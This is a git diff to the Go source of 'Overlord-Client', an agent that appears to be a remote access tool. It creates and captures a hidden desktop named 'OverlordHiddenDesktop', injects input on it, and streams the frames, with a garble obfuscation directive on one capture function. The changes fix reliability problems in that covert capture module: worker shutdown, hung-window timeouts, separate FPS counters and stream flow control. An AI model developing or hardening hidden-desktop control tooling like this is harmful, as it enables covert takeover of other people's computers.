diff --git a/Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go b/Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go
index 498db18..8603b18 100644
--- a/Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go
+++ b/Overlord-Client/cmd/agent/capture/backstage_dwm_windows.go
@@ -23,6 +23,7 @@ var (
 	procDWMCreateWindowExW              = user32.NewProc("CreateWindowExW")
 	procDWMShowWindow                   = user32.NewProc("ShowWindow")
 	procDWMUpdateWindow                 = user32.NewProc("UpdateWindow")
+	procDWMDestroyWindow                = user32.NewProc("DestroyWindow")
 	backstageDWMStateMu                 sync.Mutex
 	backstageDWMHost                    uintptr
 	backstageDWMThumbnails              map[uintptr]*backstageDWMThumbnail
@@ -460,11 +461,23 @@ func backstageCleanupDWMThumbnails() {
 	defer backstageDWMStateMu.Unlock()
 	backstageUnregisterDWMThumbnailsLocked()
 	if backstageDWMHost != 0 {
-		procDWMShowWindow.Call(backstageDWMHost, 0)
+		// This runs on the worker that created the host. Destroying the HWND is
+		// required before that OS thread can be moved back to its original
+		// desktop; merely hiding it leaves SetThreadDesktop failing with
+		// ERROR_BUSY on the next lifecycle.
+		procDWMDestroyWindow.Call(backstageDWMHost)
 	}
 	backstageDWMHost = 0
 }
 
+func backstageAbandonDWMThumbnails() {
+	backstageDWMStateMu.Lock()
+	backstageDWMThumbnails = nil
+	backstageDWMOrder = nil
+	backstageDWMHost = 0
+	backstageDWMStateMu.Unlock()
+}
+
 func backstageUnregisterDWMThumbnailsLocked() {
 	for source, entry := range backstageDWMThumbnails {
 		procDwmUnregisterThumbnail.Call(entry.handle)
diff --git a/Overlord-Client/cmd/agent/capture/backstage_lifecycle_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_lifecycle_windows_test.go
new file mode 100644
index 0000000..bc95b87
--- /dev/null
+++ b/Overlord-Client/cmd/agent/capture/backstage_lifecycle_windows_test.go
@@ -0,0 +1,25 @@
+//go:build windows
+
+package capture
+
+import "testing"
+
+func TestBackstageDesktopCanRestartAfterCleanup(t *testing.T) {
+	t.Cleanup(CleanupbackstageDesktop)
+	for cycle := 1; cycle <= 2; cycle++ {
+		if err := InitializebackstageDesktop(); err != nil {
+			t.Fatalf("cycle %d initialize: %v", cycle, err)
+		}
+		if err := ensurebackstageThread(); err != nil {
+			t.Fatalf("cycle %d worker: %v", cycle, err)
+		}
+		img, err := BackstageCaptureDisplay(0)
+		if err != nil {
+			t.Fatalf("cycle %d capture: %v", cycle, err)
+		}
+		if img == nil {
+			t.Fatalf("cycle %d capture returned no image", cycle)
+		}
+		CleanupbackstageDesktop()
+	}
+}
diff --git a/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go b/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go
index 66daaa5..2ef4e11 100644
--- a/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go
+++ b/Overlord-Client/cmd/agent/capture/backstage_printwindow_windows_test.go
@@ -2,7 +2,10 @@
 
 package capture
 
-import "testing"
+import (
+	"testing"
+	"time"
+)
 
 func TestBackstageWindowCacheByteSizeAndLimit(t *testing.T) {
 	bytes, ok := backstageWindowCacheByteSize(3840, 2160)
@@ -52,3 +55,48 @@ func TestBackstagePrintWindowFallbackToggle(t *testing.T) {
 		t.Fatal("PrintWindow fallback did not re-enable")
 	}
 }
+
+func TestBackstagePrintWindowTimeoutQuarantinesHungWindow(t *testing.T) {
+	savedFn := backstagePrintWindowFn
+	savedCache := backstageWinCache
+	savedBytes := backstageWinCacheBytes
+	savedHung := backstageHungWindows
+	release := make(chan struct{})
+	returned := make(chan struct{})
+	backstagePrintWindowFn = func(_, _ uintptr, _ uint32) bool {
+		<-release
+		close(returned)
+		return true
+	}
+	entry := &backstageWinCacheEntry{bytes: 64}
+	const hwnd = uintptr(0x1234)
+	backstageWinCache = map[uintptr]*backstageWinCacheEntry{hwnd: entry}
+	backstageWinCacheBytes = entry.bytes
+	backstageHungWindows = make(map[uintptr]struct{})
+	t.Cleanup(func() {
+		close(release)
+		select {
+		case <-returned:
+		case <-time.After(time.Second):
+			t.Error("timed-out PrintWindow worker did not exit after release")
+		}
+		backstagePrintWindowFn = savedFn
+		backstageWinCache = savedCache
+		backstageWinCacheBytes = savedBytes
+		backstageHungWindows = savedHung
+	})
+
+	start := time.Now()
+	if backstagePrintWindowWithTimeout(hwnd, entry) {
+		t.Fatal("hung PrintWindow unexpectedly succeeded")
+	}
+	if elapsed := time.Since(start); elapsed > time.Second {
+		t.Fatalf("PrintWindow timeout took too long: %s", elapsed)
+	}
+	if backstageWinCache[hwnd] != nil || backstageWinCacheBytes != 0 {
+		t.Fatal("timed-out PrintWindow cache entry was not detached")
+	}
+	if _, ok := backstageHungWindows[hwnd]; !ok {
+		t.Fatal("timed-out window was not quarantined")
+	}
+}
diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go
index 122cd33..0293371 100644
--- a/Overlord-Client/cmd/agent/capture/backstage_windows.go
+++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go
@@ -155,6 +155,7 @@ const (
 var (
 	backstageDesktopHandle   uintptr
 	backstageDesktopMu       sync.Mutex
+	backstageCaptureMu       sync.Mutex
 	backstageDesktopName     = "OverlordHiddenDesktop"
 	backstageInitialized     bool
 	backstageOriginalDesktop uintptr
@@ -163,6 +164,7 @@ var (
 	backstageThreadErr       error
 	backstageThreadReady     chan struct{}
 	backstageThreadTasks     chan backstageTask
+	backstageThreadDone      chan struct{}
 	backstageWatchdogOnce    sync.Once
 	backstageNoWindowLogNs   atomic.Int64
 	backstageInputMu         sync.Mutex
@@ -191,6 +193,7 @@ var (
 	backstageWinCachePrev  []byte
 	backstageWinCacheBytes int64
 	backstageWinCacheSeq   uint64
+	backstageHungWindows   map[uintptr]struct{}
 
 	backstageCompHdcMem uintptr
 	backstageCompHbmp   uintptr
@@ -215,6 +218,7 @@ const (
 	backstageTaskKeyUp
 	backstageTaskMouseWheel
 	backstageTaskAutoStartExplorer
+	backstageTaskShutdown
 )
 
 type backstageTask struct {
@@ -293,6 +297,7 @@ type backstageWinCacheEntry struct {
 const (
 	backstageMaxWindowCacheEntries = 64
 	backstageMaxWindowCacheBytes   = int64(256 << 20)
+	backstagePrintWindowTimeout    = 250 * time.Millisecond
 )
 
 type keybdInput struct {
@@ -388,8 +393,11 @@ func CleanupbackstageDesktop() {
 	resetH264D3D11TextureEncoder("backstage")
 
 	backstageCleanupFrameReaders()
-	captureMu.Lock()
-	backstageCleanupDWMThumbnails()
+	dwmCleaned, workerStopped := shutdownbackstageThreadLocked(time.Second)
+	if !dwmCleaned {
+		backstageAbandonDWMThumbnails()
+	}
+	backstageCaptureMu.Lock()
 
 	backstageFreeCapCache()
 
@@ -407,7 +415,7 @@ func CleanupbackstageDesktop() {
 	backstageCompBits = nil
 	backstageCompW = 0
 	backstageCompH = 0
-	captureMu.Unlock()
+	backstageCaptureMu.Unlock()
 
 	backstageInputMu.Lock()
 	backstageShiftDown = false
@@ -420,14 +428,10 @@ func CleanupbackstageDesktop() {
 	backstageInputMu.Unlock()
 	backstageLastScale.Store(0)
 
-	if backstageDesktopHandle != 0 {
-		if backstageOriginalDesktop != 0 {
-			procSetThreadDesktop.Call(backstageOriginalDesktop)
-		}
-
+	if backstageDesktopHandle != 0 && workerStopped {
 		procCloseDesktop.Call(backstageDesktopHandle)
-		backstageDesktopHandle = 0
 	}
+	backstageDesktopHandle = 0
 	backstageInitialized = false
 	backstageExplorerStarted = false
 
@@ -436,16 +440,52 @@ func CleanupbackstageDesktop() {
 	resetWinUI3Cache()
 	resetInputSiteCache()
 
-	if backstageThreadTasks != nil {
-		close(backstageThreadTasks)
-		backstageThreadTasks = nil
-	}
+	backstageThreadTasks = nil
 	backstageThreadReady = nil
+	backstageThreadDone = nil
 	backstageThreadErr = nil
 	backstageThreadOnce = sync.Once{}
 	backstageWatchdogOnce = sync.Once{}
 }
 
+func shutdownbackstageThreadLocked(timeout time.Duration) (dwmCleaned, stopped bool) {
+	tasks := backstageThreadTasks
+	done := backstageThreadDone
+	if tasks == nil || done == nil {
+		return false, true
+	}
+	if timeout <= 0 {
+		timeout = time.Second
+	}
+	resp := make(chan backstageTaskResult, 1)
+	task := backstageTask{kind: backstageTaskShutdown, resp: resp, id: backstageTaskSeq.Add(1), queuedAt: time.Now()}
+	timer := time.NewTimer(timeout)
+	defer timer.Stop()
+	select {
+	case tasks <- task:
+	case <-done:
+		return false, true
+	case <-timer.C:
+		log.Printf("backstage cleanup: worker shutdown enqueue timed out")
+		return false, false
+	}
+	select {
+	case result := <-resp:
+		dwmCleaned = result.err == nil
+	case <-done:
+	case <-timer.C:
+		log.Printf("backstage cleanup: worker shutdown timed out")
+		return false, false
+	}
+	select {
+	case <-done:
+		return dwmCleaned, true
+	case <-timer.C:
+		log.Printf("backstage cleanup: worker exit timed out")
+		return dwmCleaned, false
+	}
+}
+
 func SetbackstageCursorCapture(enabled bool) {
 	backstageCursorEnabled = enabled
 }
@@ -476,31 +516,38 @@ func ensurebackstageThread() error {
 	}
 
 	backstageThreadOnce.Do(func() {
-		backstageThreadReady = make(chan struct{})
-		backstageThreadTasks = make(chan backstageTask)
+		ready := make(chan struct{})
+		tasks := make(chan backstageTask)
+		done := make(chan struct{})
+		backstageThreadReady = ready
+		backstageThreadTasks = tasks
+		backstageThreadDone = done
 		backstageWatchdogOnce.Do(func() {
 			go func() {
 				defer recoverAndLog("backstage watchdog", nil)
 				backstageThreadWatchdog()
 			}()
 		})
-		go func(handle uintptr) {
+		go func(handle, originalDesktop uintptr) {
 			defer recoverAndLog("backstage desktop thread", nil)
 			runtime.LockOSThread()
-			defer runtime.UnlockOSThread()
+			defer func() {
+				if originalDesktop != 0 {
+					procSetThreadDesktop.Call(originalDesktop)
+				}
+				close(done)
+				runtime.UnlockOSThread()
+			}()
 
 			r, _, err := procSetThreadDesktop.Call(handle)
 			if r == 0 {
 				backstageThreadErr = fmt.Errorf("failed to set thread desktop: %v", err)
-				close(backstageThreadReady)
-				for task := range backstageThreadTasks {
-					task.resp <- backstageTaskResult{err: backstageThreadErr}
-				}
+				close(ready)
 				return
 			}
 
-			close(backstageThreadReady)
-			for task := range backstageThreadTasks {
+			close(ready)
+			for task := range tasks {
 				start := time.Now()
 				backstageCurrentTaskID.Store(task.id)
 				backstageCurrentTaskKind.Store(int64(task.kind))
@@ -530,6 +577,8 @@ func ensurebackstageThread() error {
 					result.err = backstageMouseWheelOnThread(task.delta)
 				case backstageTaskAutoStartExplorer:
 					result.err = backstageAutoStartExplorerOnThread()
+				case backstageTaskShutdown:
+					backstageCleanupDWMThumbnails()
 				default:
 					result.img, result.err = BackstageCaptureDisplayOnThread(task.display)
 				}
@@ -547,8 +596,11 @@ func ensurebackstageThread() error {
 				backstageCurrentTaskKind.Store(-1)
 				backstageCurrentTaskID.Store(0)
 				task.resp <- result
+				if task.kind == backstageTaskShutdown {
+					return
+				}
 			}
-		}(desktopHandle)
+		}(desktopHandle, backstageOriginalDesktop)
 	})
 
 	if backstageThreadReady != nil {
@@ -774,6 +826,8 @@ func backstageTaskKindName(kind backstageTaskKind) string {
 		return "mouse_wheel"
 	case backstageTaskAutoStartExplorer:
 		return "auto_start_explorer"
+	case backstageTaskShutdown:
+		return "shutdown"
 	default:
 		return fmt.Sprintf("unknown(%d)", kind)
 	}
@@ -874,8 +928,8 @@ func backstageEnsureCapCache(w, h int) (uintptr, uintptr, []byte, bool) {
 
 func BackstageCaptureDisplayOnThread(display int) (*image.RGBA, error) {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
-	captureMu.Lock()
-	defer captureMu.Unlock()
+	backstageCaptureMu.Lock()
+	defer backstageCaptureMu.Unlock()
 
 	setDPIAware()
 
@@ -1720,6 +1774,11 @@ func drawbackstageWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, tar
 			backstageRemoveWindowCacheEntry(h)
 		}
 	}
+	for h := range backstageHungWindows {
+		if !alive[h] {
+			delete(backstageHungWindows, h)
+		}
+	}
 
 	return drawn
 }
@@ -1811,6 +1870,18 @@ func backstageRemoveWindowCacheEntry(hwnd uintptr) {
 	}
 }
 
+func backstageDetachWindowCacheEntry(hwnd uintptr, entry *backstageWinCacheEntry) bool {
+	if backstageWinCache[hwnd] != entry {
+		return false
+	}
+	delete(backstageWinCache, hwnd)
+	backstageWinCacheBytes -= entry.bytes
+	if backstageWinCacheBytes < 0 {
+		backstageWinCacheBytes = 0
+	}
+	return true
+}
+
 func backstageClearWindowCache() {
 	for hwnd := range backstageWinCache {
 		backstageRemoveWindowCacheEntry(hwnd)
@@ -1834,6 +1905,8 @@ var backstageDXGIEnabled atomic.Bool
 var backstageUIAEnabled atomic.Bool
 var backstagePrintWindowFallbackEnabled atomic.Bool
 var backstagePrintWindowFallbackLogNs atomic.Int64
+var backstagePrintWindowTimeoutLogNs atomic.Int64
+var backstagePrintWindowFn = printWindow
 
 func init() {
 	backstageDXGIEnabled.Store(false) // disabled by default
@@ -1865,6 +1938,49 @@ func GetbackstagePrintWindowFallbackEnabled() bool {
 	return backstagePrintWindowFallbackEnabled.Load()
 }
 
+func backstagePrintWindowWithTimeout(hwnd uintptr, entry *backstageWinCacheEntry) bool {
+	if backstageHungWindows == nil {
+		backstageHungWindows = make(map[uintptr]struct{})
+	}
+	if _, quarantined := backstageHungWindows[hwnd]; quarantined {
+		return false
+	}
+
+	var ownership atomic.Int32 // 0=racing, 1=caller keeps cache, 2=worker frees detached cache
+	done := make(chan bool, 1)
+	go func() {
+		ok := false
+		func() {
+			defer func() { _ = recover() }()
+			ok = backstagePrintWindowFn(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT)
+		}()
+		if ownership.CompareAndSwap(0, 1) {
+			done <- ok
+			return
+		}
+		backstageFreeCacheEntry(entry)
+	}()
+
+	timer := time.NewTimer(backstagePrintWindowTimeout)
+	defer timer.Stop()
+	select {
+	case ok := <-done:
+		return ok
+	case <-timer.C:
+		if !ownership.CompareAndSwap(0, 2) {
+			return <-done
+		}
+		backstageDetachWindowCacheEntry(hwnd, entry)
+		backstageHungWindows[hwnd] = struct{}{}
+		now := time.Now().UnixNano()
+		last := backstagePrintWindowTimeoutLogNs.Load()
+		if now-last > int64(5*time.Second) && backstagePrintWindowTimeoutLogNs.CompareAndSwap(last, now) {
+			log.Printf("backstage capture: PrintWindow timed out for hwnd=0x%x; quarantining window", hwnd)
+		}
+		return false
+	}
+}
+
 func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool {
 	if !backstageDXGIEnabled.Load() {
 		return false
@@ -1986,7 +2102,10 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target
 		return false
 	}
 
-	if !printWindow(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT) {
+	if !backstagePrintWindowWithTimeout(hwnd, entry) {
+		if backstageWinCache[hwnd] != entry {
+			return false
+		}
 		entry.lastOK = false
 		entry.age++
 		return false
diff --git a/Overlord-Client/cmd/agent/capture/capture.go b/Overlord-Client/cmd/agent/capture/capture.go
index c138226..5d6b9ad 100644
--- a/Overlord-Client/cmd/agent/capture/capture.go
+++ b/Overlord-Client/cmd/agent/capture/capture.go
@@ -530,14 +530,13 @@ const desktopHardwareH264FallbackCooldown = 30 * time.Second
 var consecutiveCaptureFails atomic.Int64
 
 var (
-	fpsWindowStart atomic.Int64
-	fpsCount       atomic.Int64
-	fpsLatest      atomic.Int64
-	lastFrameLog   atomic.Int64
-	metricsOnce    sync.Once
-	metricsEnabled bool
-	lastKeyframe   atomic.Int64
-	fullNextFrames atomic.Int64
+	desktopFPSCounter   frameRateCounter
+	backstageFPSCounter frameRateCounter
+	lastFrameLog        atomic.Int64
+	metricsOnce         sync.Once
+	metricsEnabled      bool
+	lastKeyframe        atomic.Int64
+	fullNextFrames      atomic.Int64
 
 	desktopRecoveryAfterBackstageStart atomic.Bool
 	statFrames                         atomic.Int64
@@ -576,6 +575,12 @@ var (
 	backstageLastKeyframe atomic.Int64
 )
 
+type frameRateCounter struct {
+	windowStart atomic.Int64
+	count       atomic.Int64
+	latest      atomic.Int64
+}
+
 type prevImage struct {
 	w   int
 	h   int
@@ -604,28 +609,36 @@ func logCodecSupport() {
 	})
 }
 
-func frameFPS(now time.Time) int {
-	start := fpsWindowStart.Load()
+func (c *frameRateCounter) fps(now time.Time) int {
+	start := c.windowStart.Load()
 	if start == 0 {
-		if fpsWindowStart.CompareAndSwap(0, now.UnixNano()) {
-			fpsCount.Store(1)
-			return int(fpsLatest.Load())
+		if c.windowStart.CompareAndSwap(0, now.UnixNano()) {
+			c.count.Store(1)
+			return int(c.latest.Load())
 		}
-		start = fpsWindowStart.Load()
+		start = c.windowStart.Load()
 	}
 
-	fpsCount.Add(1)
+	c.count.Add(1)
 	elapsed := time.Duration(now.UnixNano() - start)
 	if elapsed >= time.Second {
-		frames := fpsCount.Swap(0)
+		frames := c.count.Swap(0)
 		if frames > 0 {
 			fps := int(float64(frames) / elapsed.Seconds())
-			fpsLatest.Store(int64(fps))
+			c.latest.Store(int64(fps))
 		}
-		fpsWindowStart.Store(now.UnixNano())
+		c.windowStart.Store(now.UnixNano())
 	}
 
-	return int(fpsLatest.Load())
+	return int(c.latest.Load())
+}
+
+func frameFPS(now time.Time) int {
+	return desktopFPSCounter.fps(now)
+}
+
+func backstageFrameFPS(now time.Time) int {
+	return backstageFPSCounter.fps(now)
 }
 
 func shouldLogFrame(now time.Time) bool {
@@ -693,7 +706,6 @@ func CleanupDesktopStream() {
 	ResetDesktopCapture()
 	ResetPrev()
 	resetHEVCEncoder()
-	ResetFrameSlots()
 }
 
 func ResetPrevbackstage() {
@@ -1903,7 +1915,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
 	}
 
 	now := time.Now()
-	fps := frameFPS(now)
+	fps := backstageFrameFPS(now)
 	if fps <= 0 {
 		fps = 1
 	}
@@ -1954,7 +1966,7 @@ func captureAndSendVirtual(ctx context.Context, env *rt.Env) error {
 
 func virtualSendCompletedFrame(ctx context.Context, env *rt.Env, frame wire.Frame, t0 time.Time, captureDur, encodeDur time.Duration) error {
 	now := time.Now()
-	fps := frameFPS(now)
+	fps := backstageFrameFPS(now)
 	if fps <= 0 {
 		fps = 1
 	}
@@ -2053,7 +2065,7 @@ func captureAndSendbackstage(ctx context.Context, env *rt.Env) error {
 	}
 
 	now := time.Now()
-	fps := frameFPS(now)
+	fps := backstageFrameFPS(now)
 	if fps <= 0 {
 		fps = 1
 	}
diff --git a/Overlord-Client/cmd/agent/capture/capture_public_default.go b/Overlord-Client/cmd/agent/capture/capture_public_default.go
index bfd7911..f4d4c3a 100644
--- a/Overlord-Client/cmd/agent/capture/capture_public_default.go
+++ b/Overlord-Client/cmd/agent/capture/capture_public_default.go
@@ -11,3 +11,9 @@ func CaptureDisplayRGBABitBlt(display int) (*image.RGBA, error) {
 func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
 	return CaptureDisplayRGBA(display)
 }
+
+func CaptureDisplayRGBAThumbnail(display, _ int) (*image.RGBA, error) {
+	return CaptureDisplayRGBA(display)
+}
+
+func CleanupThumbnailCapture() {}
diff --git a/Overlord-Client/cmd/agent/capture/capture_public_windows.go b/Overlord-Client/cmd/agent/capture/capture_public_windows.go
index 96fdcb2..ee44f0d 100644
--- a/Overlord-Client/cmd/agent/capture/capture_public_windows.go
+++ b/Overlord-Client/cmd/agent/capture/capture_public_windows.go
@@ -15,3 +15,13 @@ func CaptureDisplayRGBAPreferBitBlt(display int) (*image.RGBA, error) {
 	}
 	return CaptureDisplayRGBA(display)
 }
+
+func CaptureDisplayRGBAThumbnail(display, maxHeight int) (*image.RGBA, error) {
+	return captureDisplayThumbnailBitBlt(display, maxHeight)
+}
+
+func CleanupThumbnailCapture() {
+	thumbnailMu.Lock()
+	thumbnailState.reset()
+	thumbnailMu.Unlock()
+}
diff --git a/Overlord-Client/cmd/agent/capture/capture_test.go b/Overlord-Client/cmd/agent/capture/capture_test.go
index cde58c3..e1d5b60 100644
--- a/Overlord-Client/cmd/agent/capture/capture_test.go
+++ b/Overlord-Client/cmd/agent/capture/capture_test.go
@@ -361,6 +361,27 @@ func TestFrameFPS(t *testing.T) {
 	t.Logf("Calculated FPS: %d", fps)
 }
 
+func TestDesktopAndBackstageFPSCountersAreIndependent(t *testing.T) {
+	var desktop frameRateCounter
+	var backstage frameRateCounter
+	start := time.Unix(100, 0)
+
+	desktop.fps(start)
+	backstage.fps(start)
+	for i := 1; i <= 59; i++ {
+		desktop.fps(start.Add(time.Duration(i) * time.Second / 60))
+	}
+	desktopFPS := desktop.fps(start.Add(time.Second))
+	backstageFPS := backstage.fps(start.Add(time.Second))
+
+	if desktopFPS < 55 || desktopFPS > 65 {
+		t.Fatalf("expected desktop counter near 60 fps, got %d", desktopFPS)
+	}
+	if backstageFPS != 2 {
+		t.Fatalf("expected backstage counter to contain only its two samples, got %d fps", backstageFPS)
+	}
+}
+
 func TestJPEGQuality(t *testing.T) {
 	quality := desktopJPEGQuality()
 	if quality < 1 || quality > 100 {
@@ -570,6 +591,60 @@ func TestSetFrameFlowTargetFPSEnvOverride(t *testing.T) {
 	}
 }
 
+func TestStoppingDesktopPreservesBackstageFrameFlow(t *testing.T) {
+	t.Setenv("OVERLORD_DESKTOP_IN_FLIGHT_FRAMES", "")
+	frameStreamsMu.Lock()
+	frameStreams = make(map[string]int)
+	frameStreamsMu.Unlock()
+	ResetFrameSlots()
+	t.Cleanup(func() {
+		StopFrameFlowStream("desktop")
+		StopFrameFlowStream("backstage")
+	})
+
+	StartFrameFlowStream("desktop", 60)
+	StartFrameFlowStream("backstage", 60)
+	if got := activeFrameSlotLimit(); got != 8 {
+		t.Fatalf("expected combined 120 fps slot limit 8, got %d", got)
+	}
+	inFlightFrames.Store(2)
+	frameAckSeen.Store(true)
+
+	StopFrameFlowStream("desktop")
+	if got := activeFrameSlotLimit(); got != 4 {
+		t.Fatalf("expected remaining backstage 60 fps slot limit 4, got %d", got)
+	}
+	if got := inFlightFrames.Load(); got != 2 {
+		t.Fatalf("desktop stop reset %d backstage in-flight frames", got)
+	}
+	if !frameAckSeen.Load() {
+		t.Fatal("desktop stop disabled ACK flow control while backstage remained active")
+	}
+
+	StopFrameFlowStream("backstage")
+	if got := inFlightFrames.Load(); got != 0 {
+		t.Fatalf("last stream stop left %d in-flight frames", got)
+	}
+	if frameAckSeen.Load() {
+		t.Fatal("last stream stop did not reset ACK flow state")
+	}
+}
+
+func TestInactiveStreamTargetDoesNotChangeActiveFrameFlow(t *testing.T) {
+	t.Setenv("OVERLORD_DESKTOP_IN_FLIGHT_FRAMES", "")
+	frameStreamsMu.Lock()
+	frameStreams = make(map[string]int)
+	frameStreamsMu.Unlock()
+	ResetFrameSlots()
+	t.Cleanup(func() { StopFrameFlowStream("backstage") })
+
+	StartFrameFlowStream("backstage", 60)
+	UpdateFrameFlowStream("desktop", 240)
+	if got := activeFrameSlotLimit(); got != 4 {
+		t.Fatalf("inactive desktop target changed backstage slot limit to %d", got)
+	}
+}
+
 func TestRequestDesktopFullFrameRequestsWebRTCKeyframe(t *testing.T) {
 	_ = webrtcpub.ConsumeKeyframeRequest(webrtcpub.KindDesktop)
 
diff --git a/Overlord-Client/cmd/agent/capture/flowcontrol.go b/Overlord-Client/cmd/agent/capture/flowcontrol.go
index 8ced535..56d0e7d 100644
--- a/Overlord-Client/cmd/agent/capture/flowcontrol.go
+++ b/Overlord-Client/cmd/agent/capture/flowcontrol.go
@@ -4,6 +4,7 @@ import (
 	"os"
 	"strconv"
 	"strings"
+	"sync"
 	"sync/atomic"
 	"time"
 )
@@ -15,6 +16,8 @@ var (
 	frameAckSeen   atomic.Bool
 	lastAckNano    atomic.Int64
 	maxFrameSlots  atomic.Int64
+	frameStreamsMu sync.Mutex
+	frameStreams   = make(map[string]int)
 )
 
 func AcquireFrameSlot() bool {
@@ -54,6 +57,48 @@ func ResetFrameSlots() {
 }
 
 func SetFrameFlowTargetFPS(fps int) {
+	maxFrameSlots.Store(frameSlotLimitForFPS(fps))
+}
+
+func StartFrameFlowStream(stream string, fps int) {
+	frameStreamsMu.Lock()
+	frameStreams[stream] = fps
+	applyActiveFrameStreamLimitLocked()
+	frameStreamsMu.Unlock()
+}
+
+func UpdateFrameFlowStream(stream string, fps int) {
+	frameStreamsMu.Lock()
+	if _, active := frameStreams[stream]; active {
+		frameStreams[stream] = fps
+		applyActiveFrameStreamLimitLocked()
+	}
+	frameStreamsMu.Unlock()
+}
+
+func StopFrameFlowStream(stream string) {
+	frameStreamsMu.Lock()
+	delete(frameStreams, stream)
+	if len(frameStreams) == 0 {
+		ResetFrameSlots()
+		maxFrameSlots.Store(defaultMaxInFlightFrames)
+	} else {
+		applyActiveFrameStreamLimitLocked()
+	}
+	frameStreamsMu.Unlock()
+}
+
+func applyActiveFrameStreamLimitLocked() {
+	combinedFPS := 0
+	for _, fps := range frameStreams {
+		if fps > 0 {
+			combinedFPS += fps
+		}
+	}
+	maxFrameSlots.Store(frameSlotLimitForFPS(combinedFPS))
+}
+
+func frameSlotLimitForFPS(fps int) int64 {
 	limit := defaultMaxInFlightFrames
 	switch {
 	case fps >= 180:
@@ -75,7 +120,7 @@ func SetFrameFlowTargetFPS(fps int) {
 			}
 		}
 	}
-	maxFrameSlots.Store(limit)
+	return limit
 }
 
 func activeFrameSlotLimit() int64 {
diff --git a/Overlord-Client/cmd/agent/capture/virtual_windows.go b/Overlord-Client/cmd/agent/capture/virtual_windows.go
index 14b83e3..0990da5 100644
--- a/Overlord-Client/cmd/agent/capture/virtual_windows.go
+++ b/Overlord-Client/cmd/agent/capture/virtual_windows.go
@@ -139,11 +139,11 @@ func CleanupVirtualMode() {
 	virtualDupState.mu.Unlock()
 	ResetPrevbackstage()
 	resetH264D3D11TextureEncoder("backstage")
-	captureMu.Lock()
+	backstageCaptureMu.Lock()
 	backstageFreeCapCache()
 	backstageClearWindowCache()
 	virtualCapImg = nil
-	captureMu.Unlock()
+	backstageCaptureMu.Unlock()
 
 	virtualInputMu.Lock()
 	virtualShiftDown = false
@@ -2393,8 +2393,8 @@ var (
 )
 
 func VirtualCaptureDisplayFallback() (*image.RGBA, error) {
-	captureMu.Lock()
-	defer captureMu.Unlock()
+	backstageCaptureMu.Lock()
+	defer backstageCaptureMu.Unlock()
 
 	setDPIAware()
 
diff --git a/Overlord-Client/cmd/agent/capture/win_bitblt.go b/Overlord-Client/cmd/agent/capture/win_bitblt.go
index 4c022ae..8aed699 100644
--- a/Overlord-Client/cmd/agent/capture/win_bitblt.go
+++ b/Overlord-Client/cmd/agent/capture/win_bitblt.go
@@ -165,9 +165,9 @@ var (
 	maxResHeight     atomic.Int64 // 0 = default (1080), -1 = native, >0 = specific max height
 	lastCapScale     atomic.Uint64
 	state            capState
+	thumbnailState   capState
 	captureMu        sync.Mutex
-
-	stateCreatedAt time.Time
+	thumbnailMu      sync.Mutex
 
 	stateRefreshInterval = 30 * time.Second
 )
@@ -186,9 +186,18 @@ var captureDisplayFn = func(display int) (*image.RGBA, error) {
 }
 
 func captureDisplayBitBlt(display int) (*image.RGBA, error) {
-
 	captureMu.Lock()
 	defer captureMu.Unlock()
+	return captureDisplayBitBltWithState(display, &state, 0)
+}
+
+func captureDisplayThumbnailBitBlt(display, maxHeight int) (*image.RGBA, error) {
+	thumbnailMu.Lock()
+	defer thumbnailMu.Unlock()
+	return captureDisplayBitBltWithState(display, &thumbnailState, maxHeight)
+}
+
+func captureDisplayBitBltWithState(display int, captureState *capState, forcedMaxHeight int) (*image.RGBA, error) {
 
 	setDPIAware()
 
@@ -223,7 +232,10 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
 		}
 	}
 
-	userScale := effectiveScale(srcW, srcH)
+	userScale := scaleForMaxHeight(srcH, forcedMaxHeight)
+	if forcedMaxHeight <= 0 {
+		userScale = effectiveScale(srcW, srcH)
+	}
 	dstW := int(float64(srcW) * userScale)
 	dstH := int(float64(srcH) * userScale)
 	if dstW <= 0 || dstH <= 0 {
@@ -265,7 +277,7 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
 	}
 
 	captureWithDC := func() (*image.RGBA, time.Duration, time.Duration, time.Duration, error) {
-		hdcMem, _, buf, stride, err := state.ensure(hdcScreen, capW, capH)
+		hdcMem, _, buf, stride, err := captureState.ensure(hdcScreen, capW, capH)
 		if err != nil {
 			return nil, 0, 0, 0, err
 		}
@@ -278,8 +290,8 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
 			captured = bitBltWithFallback(hdcMem, hdcScreen, bounds, capW, capH)
 		}
 		if !captured {
-			state.reset()
-			hdcMem, _, buf, stride, err = state.ensure(hdcScreen, capW, capH)
+			captureState.reset()
+			hdcMem, _, buf, stride, err = captureState.ensure(hdcScreen, capW, capH)
 			if err != nil {
 				return nil, 0, 0, 0, err
 			}
@@ -328,13 +340,13 @@ func captureDisplayBitBlt(display int) (*image.RGBA, error) {
 		return img, bitDur, dibDur, convDur, nil
 	}
 
-	if !stateCreatedAt.IsZero() && time.Since(stateCreatedAt) > stateRefreshInterval {
-		state.reset()
+	if !captureState.createdAt.IsZero() && time.Since(captureState.createdAt) > stateRefreshInterval {
+		captureState.reset()
 	}
 
 	img, bitDur, dibDur, convDur, err := captureWithDC()
 	if err != nil && fromCreateDC {
-		state.reset()
+		captureState.reset()
 		closeDC()
 		hdcScreen = getDC(0)
 		fromCreateDC = false
